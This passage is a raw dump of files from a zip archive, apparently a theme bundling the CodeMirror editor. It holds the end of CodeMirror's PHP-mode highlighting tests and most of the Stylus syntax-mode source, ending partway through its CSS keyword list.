    ['[string "a][variable-2 $]{[variable aaa] [operator +] ', ' [operator +] ', ' [operator +] ', '}[string .a"]'],
    '[comment /* }?>{{ */] [string "a?>}{{aa][variable-2 $aaa][string .a}a?>a"]',
    4
  );

  MT('variable_interpolation_complex_syntax_3_3',
     '[meta <?php] [comment /* Recursive monsters 2 */]',
     '[keyword echo] ' + m3[4] + ';',
     '[keyword echo] ' + m3[0] + ';',
     '[keyword echo] ' + m3[3] + ';',
     '[keyword echo] ' + m3[1] + ';',
     '[keyword echo] ' + m3[2] + ';',
     '[keyword echo] [string "end"];',
     '[meta ?>]');

  MT("variable_interpolation_heredoc",
     "[meta <?php]",
     "[string <<<here]",
     "[string doc ][variable-2 $]{[variable yay]}[string more]",
     "[string here]; [comment // normal]");
})();
PK     0w\;    F  customizer/framework/assets/js/vendor/codemirror/mode/stylus/stylus.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Stylus mode created by Dmitry Kiselyov http://git.io/AaRB

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("stylus", function(config) {
    var indentUnit = config.indentUnit,
        tagKeywords = keySet(tagKeywords_),
        tagVariablesRegexp = /^(a|b|i|s|col|em)$/i,
        propertyKeywords = keySet(propertyKeywords_),
        nonStandardPropertyKeywords = keySet(nonStandardPropertyKeywords_),
        valueKeywords = keySet(valueKeywords_),
        colorKeywords = keySet(colorKeywords_),
        documentTypes = keySet(documentTypes_),
        documentTypesRegexp = wordRegexp(documentTypes_),
        mediaFeatures = keySet(mediaFeatures_),
        mediaTypes = keySet(mediaTypes_),
        fontProperties = keySet(fontProperties_),
        operatorsRegexp = /^\s*([.]{2,3}|&&|\|\||\*\*|[?!=:]?=|[-+*\/%<>]=?|\?:|\~)/,
        wordOperatorKeywordsRegexp = wordRegexp(wordOperatorKeywords_),
        blockKeywords = keySet(blockKeywords_),
        vendorPrefixesRegexp = new RegExp(/^\-(moz|ms|o|webkit)-/i),
        commonAtoms = keySet(commonAtoms_),
        firstWordMatch = "",
        states = {},
        ch,
        style,
        type,
        override;

    /**
     * Tokenizers
     */
    function tokenBase(stream, state) {
      firstWordMatch = stream.string.match(/(^[\w-]+\s*=\s*$)|(^\s*[\w-]+\s*=\s*[\w-])|(^\s*(\.|#|@|\$|\&|\[|\d|\+|::?|\{|\>|~|\/)?\s*[\w-]*([a-z0-9-]|\*|\/\*)(\(|,)?)/);
      state.context.line.firstWord = firstWordMatch ? firstWordMatch[0].replace(/^\s*/, "") : "";
      state.context.line.indent = stream.indentation();
      ch = stream.peek();

      // Line comment
      if (stream.match("//")) {
        stream.skipToEnd();
        return ["comment", "comment"];
      }
      // Block comment
      if (stream.match("/*")) {
        state.tokenize = tokenCComment;
        return tokenCComment(stream, state);
      }
      // String
      if (ch == "\"" || ch == "'") {
        stream.next();
        state.tokenize = tokenString(ch);
        return state.tokenize(stream, state);
      }
      // Def
      if (ch == "@") {
        stream.next();
        stream.eatWhile(/[\w\\-]/);
        return ["def", stream.current()];
      }
      // ID selector or Hex color
      if (ch == "#") {
        stream.next();
        // Hex color
        if (stream.match(/^[0-9a-f]{6}|[0-9a-f]{3}/i)) {
          return ["atom", "atom"];
        }
        // ID selector
        if (stream.match(/^[a-z][\w-]*/i)) {
          return ["builtin", "hash"];
        }
      }
      // Vendor prefixes
      if (stream.match(vendorPrefixesRegexp)) {
        return ["meta", "vendor-prefixes"];
      }
      // Numbers
      if (stream.match(/^-?[0-9]?\.?[0-9]/)) {
        stream.eatWhile(/[a-z%]/i);
        return ["number", "unit"];
      }
      // !important|optional
      if (ch == "!") {
        stream.next();
        return [stream.match(/^(important|optional)/i) ? "keyword": "operator", "important"];
      }
      // Class
      if (ch == "." && stream.match(/^\.[a-z][\w-]*/i)) {
        return ["qualifier", "qualifier"];
      }
      // url url-prefix domain regexp
      if (stream.match(documentTypesRegexp)) {
        if (stream.peek() == "(") state.tokenize = tokenParenthesized;
        return ["property", "word"];
      }
      // Mixins / Functions
      if (stream.match(/^[a-z][\w-]*\(/i)) {
        stream.backUp(1);
        return ["keyword", "mixin"];
      }
      // Block mixins
      if (stream.match(/^(\+|-)[a-z][\w-]*\(/i)) {
        stream.backUp(1);
        return ["keyword", "block-mixin"];
      }
      // Parent Reference BEM naming
      if (stream.string.match(/^\s*&/) && stream.match(/^[-_]+[a-z][\w-]*/)) {
        return ["qualifier", "qualifier"];
      }
      // / Root Reference & Parent Reference
      if (stream.match(/^(\/|&)(-|_|:|\.|#|[a-z])/)) {
        stream.backUp(1);
        return ["variable-3", "reference"];
      }
      if (stream.match(/^&{1}\s*$/)) {
        return ["variable-3", "reference"];
      }
      // Word operator
      if (stream.match(wordOperatorKeywordsRegexp)) {
        return ["operator", "operator"];
      }
      // Word
      if (stream.match(/^\$?[-_]*[a-z0-9]+[\w-]*/i)) {
        // Variable
        if (stream.match(/^(\.|\[)[\w-\'\"\]]+/i, false)) {
          if (!wordIsTag(stream.current())) {
            stream.match(/\./);
            return ["variable-2", "variable-name"];
          }
        }
        return ["variable-2", "word"];
      }
      // Operators
      if (stream.match(operatorsRegexp)) {
        return ["operator", stream.current()];
      }
      // Delimiters
      if (/[:;,{}\[\]\(\)]/.test(ch)) {
        stream.next();
        return [null, ch];
      }
      // Non-detected items
      stream.next();
      return [null, null];
    }

    /**
     * Token comment
     */
    function tokenCComment(stream, state) {
      var maybeEnd = false, ch;
      while ((ch = stream.next()) != null) {
        if (maybeEnd && ch == "/") {
          state.tokenize = null;
          break;
        }
        maybeEnd = (ch == "*");
      }
      return ["comment", "comment"];
    }

    /**
     * Token string
     */
    function tokenString(quote) {
      return function(stream, state) {
        var escaped = false, ch;
        while ((ch = stream.next()) != null) {
          if (ch == quote && !escaped) {
            if (quote == ")") stream.backUp(1);
            break;
          }
          escaped = !escaped && ch == "\\";
        }
        if (ch == quote || !escaped && quote != ")") state.tokenize = null;
        return ["string", "string"];
      };
    }

    /**
     * Token parenthesized
     */
    function tokenParenthesized(stream, state) {
      stream.next(); // Must be "("
      if (!stream.match(/\s*[\"\')]/, false))
        state.tokenize = tokenString(")");
      else
        state.tokenize = null;
      return [null, "("];
    }

    /**
     * Context management
     */
    function Context(type, indent, prev, line) {
      this.type = type;
      this.indent = indent;
      this.prev = prev;
      this.line = line || {firstWord: "", indent: 0};
    }

    function pushContext(state, stream, type, indent) {
      indent = indent >= 0 ? indent : indentUnit;
      state.context = new Context(type, stream.indentation() + indent, state.context);
      return type;
    }

    function popContext(state, currentIndent) {
      var contextIndent = state.context.indent - indentUnit;
      currentIndent = currentIndent || false;
      state.context = state.context.prev;
      if (currentIndent) state.context.indent = contextIndent;
      return state.context.type;
    }

    function pass(type, stream, state) {
      return states[state.context.type](type, stream, state);
    }

    function popAndPass(type, stream, state, n) {
      for (var i = n || 1; i > 0; i--)
        state.context = state.context.prev;
      return pass(type, stream, state);
    }


    /**
     * Parser
     */
    function wordIsTag(word) {
      return word.toLowerCase() in tagKeywords;
    }

    function wordIsProperty(word) {
      word = word.toLowerCase();
      return word in propertyKeywords || word in fontProperties;
    }

    function wordIsBlock(word) {
      return word.toLowerCase() in blockKeywords;
    }

    function wordIsVendorPrefix(word) {
      return word.toLowerCase().match(vendorPrefixesRegexp);
    }

    function wordAsValue(word) {
      var wordLC = word.toLowerCase();
      var override = "variable-2";
      if (wordIsTag(word)) override = "tag";
      else if (wordIsBlock(word)) override = "block-keyword";
      else if (wordIsProperty(word)) override = "property";
      else if (wordLC in valueKeywords || wordLC in commonAtoms) override = "atom";
      else if (wordLC == "return" || wordLC in colorKeywords) override = "keyword";

      // Font family
      else if (word.match(/^[A-Z]/)) override = "string";
      return override;
    }

    function typeIsBlock(type, stream) {
      return ((endOfLine(stream) && (type == "{" || type == "]" || type == "hash" || type == "qualifier")) || type == "block-mixin");
    }

    function typeIsInterpolation(type, stream) {
      return type == "{" && stream.match(/^\s*\$?[\w-]+/i, false);
    }

    function typeIsPseudo(type, stream) {
      return type == ":" && stream.match(/^[a-z-]+/, false);
    }

    function startOfLine(stream) {
      return stream.sol() || stream.string.match(new RegExp("^\\s*" + escapeRegExp(stream.current())));
    }

    function endOfLine(stream) {
      return stream.eol() || stream.match(/^\s*$/, false);
    }

    function firstWordOfLine(line) {
      var re = /^\s*[-_]*[a-z0-9]+[\w-]*/i;
      var result = typeof line == "string" ? line.match(re) : line.string.match(re);
      return result ? result[0].replace(/^\s*/, "") : "";
    }


    /**
     * Block
     */
    states.block = function(type, stream, state) {
      if ((type == "comment" && startOfLine(stream)) ||
          (type == "," && endOfLine(stream)) ||
          type == "mixin") {
        return pushContext(state, stream, "block", 0);
      }
      if (typeIsInterpolation(type, stream)) {
        return pushContext(state, stream, "interpolation");
      }
      if (endOfLine(stream) && type == "]") {
        if (!/^\s*(\.|#|:|\[|\*|&)/.test(stream.string) && !wordIsTag(firstWordOfLine(stream))) {
          return pushContext(state, stream, "block", 0);
        }
      }
      if (typeIsBlock(type, stream, state)) {
        return pushContext(state, stream, "block");
      }
      if (type == "}" && endOfLine(stream)) {
        return pushContext(state, stream, "block", 0);
      }
      if (type == "variable-name") {
        if (stream.string.match(/^\s?\$[\w-\.\[\]\'\"]+$/) || wordIsBlock(firstWordOfLine(stream))) {
          return pushContext(state, stream, "variableName");
        }
        else {
          return pushContext(state, stream, "variableName", 0);
        }
      }
      if (type == "=") {
        if (!endOfLine(stream) && !wordIsBlock(firstWordOfLine(stream))) {
          return pushContext(state, stream, "block", 0);
        }
        return pushContext(state, stream, "block");
      }
      if (type == "*") {
        if (endOfLine(stream) || stream.match(/\s*(,|\.|#|\[|:|{)/,false)) {
          override = "tag";
          return pushContext(state, stream, "block");
        }
      }
      if (typeIsPseudo(type, stream)) {
        return pushContext(state, stream, "pseudo");
      }
      if (/@(font-face|media|supports|(-moz-)?document)/.test(type)) {
        return pushContext(state, stream, endOfLine(stream) ? "block" : "atBlock");
      }
      if (/@(-(moz|ms|o|webkit)-)?keyframes$/.test(type)) {
        return pushContext(state, stream, "keyframes");
      }
      if (/@extends?/.test(type)) {
        return pushContext(state, stream, "extend", 0);
      }
      if (type && type.charAt(0) == "@") {

        // Property Lookup
        if (stream.indentation() > 0 && wordIsProperty(stream.current().slice(1))) {
          override = "variable-2";
          return "block";
        }
        if (/(@import|@require|@charset)/.test(type)) {
          return pushContext(state, stream, "block", 0);
        }
        return pushContext(state, stream, "block");
      }
      if (type == "reference" && endOfLine(stream)) {
        return pushContext(state, stream, "block");
      }
      if (type == "(") {
        return pushContext(state, stream, "parens");
      }

      if (type == "vendor-prefixes") {
        return pushContext(state, stream, "vendorPrefixes");
      }
      if (type == "word") {
        var word = stream.current();
        override = wordAsValue(word);

        if (override == "property") {
          if (startOfLine(stream)) {
            return pushContext(state, stream, "block", 0);
          } else {
            override = "atom";
            return "block";
          }
        }

        if (override == "tag") {

          // tag is a css value
          if (/embed|menu|pre|progress|sub|table/.test(word)) {
            if (wordIsProperty(firstWordOfLine(stream))) {
              override = "atom";
              return "block";
            }
          }

          // tag is an attribute
          if (stream.string.match(new RegExp("\\[\\s*" + word + "|" + word +"\\s*\\]"))) {
            override = "atom";
            return "block";
          }

          // tag is a variable
          if (tagVariablesRegexp.test(word)) {
            if ((startOfLine(stream) && stream.string.match(/=/)) ||
                (!startOfLine(stream) &&
                 !stream.string.match(/^(\s*\.|#|\&|\[|\/|>|\*)/) &&
                 !wordIsTag(firstWordOfLine(stream)))) {
              override = "variable-2";
              if (wordIsBlock(firstWordOfLine(stream)))  return "block";
              return pushContext(state, stream, "block", 0);
            }
          }

          if (endOfLine(stream)) return pushContext(state, stream, "block");
        }
        if (override == "block-keyword") {
          override = "keyword";

          // Postfix conditionals
          if (stream.current(/(if|unless)/) && !startOfLine(stream)) {
            return "block";
          }
          return pushContext(state, stream, "block");
        }
        if (word == "return") return pushContext(state, stream, "block", 0);

        // Placeholder selector
        if (override == "variable-2" && stream.string.match(/^\s?\$[\w-\.\[\]\'\"]+$/)) {
          return pushContext(state, stream, "block");
        }
      }
      return state.context.type;
    };


    /**
     * Parens
     */
    states.parens = function(type, stream, state) {
      if (type == "(") return pushContext(state, stream, "parens");
      if (type == ")") {
        if (state.context.prev.type == "parens") {
          return popContext(state);
        }
        if ((stream.string.match(/^[a-z][\w-]*\(/i) && endOfLine(stream)) ||
            wordIsBlock(firstWordOfLine(stream)) ||
            /(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(firstWordOfLine(stream)) ||
            (!stream.string.match(/^-?[a-z][\w-\.\[\]\'\"]*\s*=/) &&
             wordIsTag(firstWordOfLine(stream)))) {
          return pushContext(state, stream, "block");
        }
        if (stream.string.match(/^[\$-]?[a-z][\w-\.\[\]\'\"]*\s*=/) ||
            stream.string.match(/^\s*(\(|\)|[0-9])/) ||
            stream.string.match(/^\s+[a-z][\w-]*\(/i) ||
            stream.string.match(/^\s+[\$-]?[a-z]/i)) {
          return pushContext(state, stream, "block", 0);
        }
        if (endOfLine(stream)) return pushContext(state, stream, "block");
        else return pushContext(state, stream, "block", 0);
      }
      if (type && type.charAt(0) == "@" && wordIsProperty(stream.current().slice(1))) {
        override = "variable-2";
      }
      if (type == "word") {
        var word = stream.current();
        override = wordAsValue(word);
        if (override == "tag" && tagVariablesRegexp.test(word)) {
          override = "variable-2";
        }
        if (override == "property" || word == "to") override = "atom";
      }
      if (type == "variable-name") {
        return pushContext(state, stream, "variableName");
      }
      if (typeIsPseudo(type, stream)) {
        return pushContext(state, stream, "pseudo");
      }
      return state.context.type;
    };


    /**
     * Vendor prefixes
     */
    states.vendorPrefixes = function(type, stream, state) {
      if (type == "word") {
        override = "property";
        return pushContext(state, stream, "block", 0);
      }
      return popContext(state);
    };


    /**
     * Pseudo
     */
    states.pseudo = function(type, stream, state) {
      if (!wordIsProperty(firstWordOfLine(stream.string))) {
        stream.match(/^[a-z-]+/);
        override = "variable-3";
        if (endOfLine(stream)) return pushContext(state, stream, "block");
        return popContext(state);
      }
      return popAndPass(type, stream, state);
    };


    /**
     * atBlock
     */
    states.atBlock = function(type, stream, state) {
      if (type == "(") return pushContext(state, stream, "atBlock_parens");
      if (typeIsBlock(type, stream, state)) {
        return pushContext(state, stream, "block");
      }
      if (typeIsInterpolation(type, stream)) {
        return pushContext(state, stream, "interpolation");
      }
      if (type == "word") {
        var word = stream.current().toLowerCase();
        if (/^(only|not|and|or)$/.test(word))
          override = "keyword";
        else if (documentTypes.hasOwnProperty(word))
          override = "tag";
        else if (mediaTypes.hasOwnProperty(word))
          override = "attribute";
        else if (mediaFeatures.hasOwnProperty(word))
          override = "property";
        else if (nonStandardPropertyKeywords.hasOwnProperty(word))
          override = "string-2";
        else override = wordAsValue(stream.current());
        if (override == "tag" && endOfLine(stream)) {
          return pushContext(state, stream, "block");
        }
      }
      if (type == "operator" && /^(not|and|or)$/.test(stream.current())) {
        override = "keyword";
      }
      return state.context.type;
    };

    states.atBlock_parens = function(type, stream, state) {
      if (type == "{" || type == "}") return state.context.type;
      if (type == ")") {
        if (endOfLine(stream)) return pushContext(state, stream, "block");
        else return pushContext(state, stream, "atBlock");
      }
      if (type == "word") {
        var word = stream.current().toLowerCase();
        override = wordAsValue(word);
        if (/^(max|min)/.test(word)) override = "property";
        if (override == "tag") {
          tagVariablesRegexp.test(word) ? override = "variable-2" : override = "atom";
        }
        return state.context.type;
      }
      return states.atBlock(type, stream, state);
    };


    /**
     * Keyframes
     */
    states.keyframes = function(type, stream, state) {
      if (stream.indentation() == "0" && ((type == "}" && startOfLine(stream)) || type == "]" || type == "hash"
                                          || type == "qualifier" || wordIsTag(stream.current()))) {
        return popAndPass(type, stream, state);
      }
      if (type == "{") return pushContext(state, stream, "keyframes");
      if (type == "}") {
        if (startOfLine(stream)) return popContext(state, true);
        else return pushContext(state, stream, "keyframes");
      }
      if (type == "unit" && /^[0-9]+\%$/.test(stream.current())) {
        return pushContext(state, stream, "keyframes");
      }
      if (type == "word") {
        override = wordAsValue(stream.current());
        if (override == "block-keyword") {
          override = "keyword";
          return pushContext(state, stream, "keyframes");
        }
      }
      if (/@(font-face|media|supports|(-moz-)?document)/.test(type)) {
        return pushContext(state, stream, endOfLine(stream) ? "block" : "atBlock");
      }
      if (type == "mixin") {
        return pushContext(state, stream, "block", 0);
      }
      return state.context.type;
    };


    /**
     * Interpolation
     */
    states.interpolation = function(type, stream, state) {
      if (type == "{") popContext(state) && pushContext(state, stream, "block");
      if (type == "}") {
        if (stream.string.match(/^\s*(\.|#|:|\[|\*|&|>|~|\+|\/)/i) ||
            (stream.string.match(/^\s*[a-z]/i) && wordIsTag(firstWordOfLine(stream)))) {
          return pushContext(state, stream, "block");
        }
        if (!stream.string.match(/^(\{|\s*\&)/) ||
            stream.match(/\s*[\w-]/,false)) {
          return pushContext(state, stream, "block", 0);
        }
        return pushContext(state, stream, "block");
      }
      if (type == "variable-name") {
        return pushContext(state, stream, "variableName", 0);
      }
      if (type == "word") {
        override = wordAsValue(stream.current());
        if (override == "tag") override = "atom";
      }
      return state.context.type;
    };


    /**
     * Extend/s
     */
    states.extend = function(type, stream, state) {
      if (type == "[" || type == "=") return "extend";
      if (type == "]") return popContext(state);
      if (type == "word") {
        override = wordAsValue(stream.current());
        return "extend";
      }
      return popContext(state);
    };


    /**
     * Variable name
     */
    states.variableName = function(type, stream, state) {
      if (type == "string" || type == "[" || type == "]" || stream.current().match(/^(\.|\$)/)) {
        if (stream.current().match(/^\.[\w-]+/i)) override = "variable-2";
        return "variableName";
      }
      return popAndPass(type, stream, state);
    };


    return {
      startState: function(base) {
        return {
          tokenize: null,
          state: "block",
          context: new Context("block", base || 0, null)
        };
      },
      token: function(stream, state) {
        if (!state.tokenize && stream.eatSpace()) return null;
        style = (state.tokenize || tokenBase)(stream, state);
        if (style && typeof style == "object") {
          type = style[1];
          style = style[0];
        }
        override = style;
        state.state = states[state.state](type, stream, state);
        return override;
      },
      indent: function(state, textAfter, line) {

        var cx = state.context,
            ch = textAfter && textAfter.charAt(0),
            indent = cx.indent,
            lineFirstWord = firstWordOfLine(textAfter),
            lineIndent = line.length - line.replace(/^\s*/, "").length,
            prevLineFirstWord = state.context.prev ? state.context.prev.line.firstWord : "",
            prevLineIndent = state.context.prev ? state.context.prev.line.indent : lineIndent;

        if (cx.prev &&
            (ch == "}" && (cx.type == "block" || cx.type == "atBlock" || cx.type == "keyframes") ||
             ch == ")" && (cx.type == "parens" || cx.type == "atBlock_parens") ||
             ch == "{" && (cx.type == "at"))) {
          indent = cx.indent - indentUnit;
          cx = cx.prev;
        } else if (!(/(\})/.test(ch))) {
          if (/@|\$|\d/.test(ch) ||
              /^\{/.test(textAfter) ||
/^\s*\/(\/|\*)/.test(textAfter) ||
              /^\s*\/\*/.test(prevLineFirstWord) ||
              /^\s*[\w-\.\[\]\'\"]+\s*(\?|:|\+)?=/i.test(textAfter) ||
/^(\+|-)?[a-z][\w-]*\(/i.test(textAfter) ||
/^return/.test(textAfter) ||
              wordIsBlock(lineFirstWord)) {
            indent = lineIndent;
          } else if (/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(ch) || wordIsTag(lineFirstWord)) {
            if (/\,\s*$/.test(prevLineFirstWord)) {
              indent = prevLineIndent;
            } else if (/^\s+/.test(line) && (/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(prevLineFirstWord) || wordIsTag(prevLineFirstWord))) {
              indent = lineIndent <= prevLineIndent ? prevLineIndent : prevLineIndent + indentUnit;
            } else {
              indent = lineIndent;
            }
          } else if (!/,\s*$/.test(line) && (wordIsVendorPrefix(lineFirstWord) || wordIsProperty(lineFirstWord))) {
            if (wordIsBlock(prevLineFirstWord)) {
              indent = lineIndent <= prevLineIndent ? prevLineIndent : prevLineIndent + indentUnit;
            } else if (/^\{/.test(prevLineFirstWord)) {
              indent = lineIndent <= prevLineIndent ? lineIndent : prevLineIndent + indentUnit;
            } else if (wordIsVendorPrefix(prevLineFirstWord) || wordIsProperty(prevLineFirstWord)) {
              indent = lineIndent >= prevLineIndent ? prevLineIndent : lineIndent;
            } else if (/^(\.|#|:|\[|\*|&|@|\+|\-|>|~|\/)/.test(prevLineFirstWord) ||
                      /=\s*$/.test(prevLineFirstWord) ||
                      wordIsTag(prevLineFirstWord) ||
                      /^\$[\w-\.\[\]\'\"]/.test(prevLineFirstWord)) {
              indent = prevLineIndent + indentUnit;
            } else {
              indent = lineIndent;
            }
          }
        }
        return indent;
      },
      electricChars: "}",
      lineComment: "//",
      fold: "indent"
    };
  });

  // developer.mozilla.org/en-US/docs/Web/HTML/Element
  var tagKeywords_ = ["a","abbr","address","area","article","aside","audio", "b", "base","bdi", "bdo","bgsound","blockquote","body","br","button","canvas","caption","cite", "code","col","colgroup","data","datalist","dd","del","details","dfn","div", "dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1", "h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe", "img","input","ins","kbd","keygen","label","legend","li","link","main","map", "mark","marquee","menu","menuitem","meta","meter","nav","nobr","noframes", "noscript","object","ol","optgroup","option","output","p","param","pre", "progress","q","rp","rt","ruby","s","samp","script","section","select", "small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","track", "u","ul","var","video"];

  // github.com/codemirror/CodeMirror/blob/master/mode/css/css.js
  var documentTypes_ = ["domain", "regexp", "url", "url-prefix"];
  var mediaTypes_ = ["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"];
  var mediaFeatures_ = ["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"];
  var propertyKeywords_ = ["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode","font-smoothing","osx-font-smoothing"];
  var nonStandardPropertyKeywords_ = ["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"];
  var fontProperties_ = ["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"];
  var colorKeywords_ = ["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"];
  var valueKeywords_ = ["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","e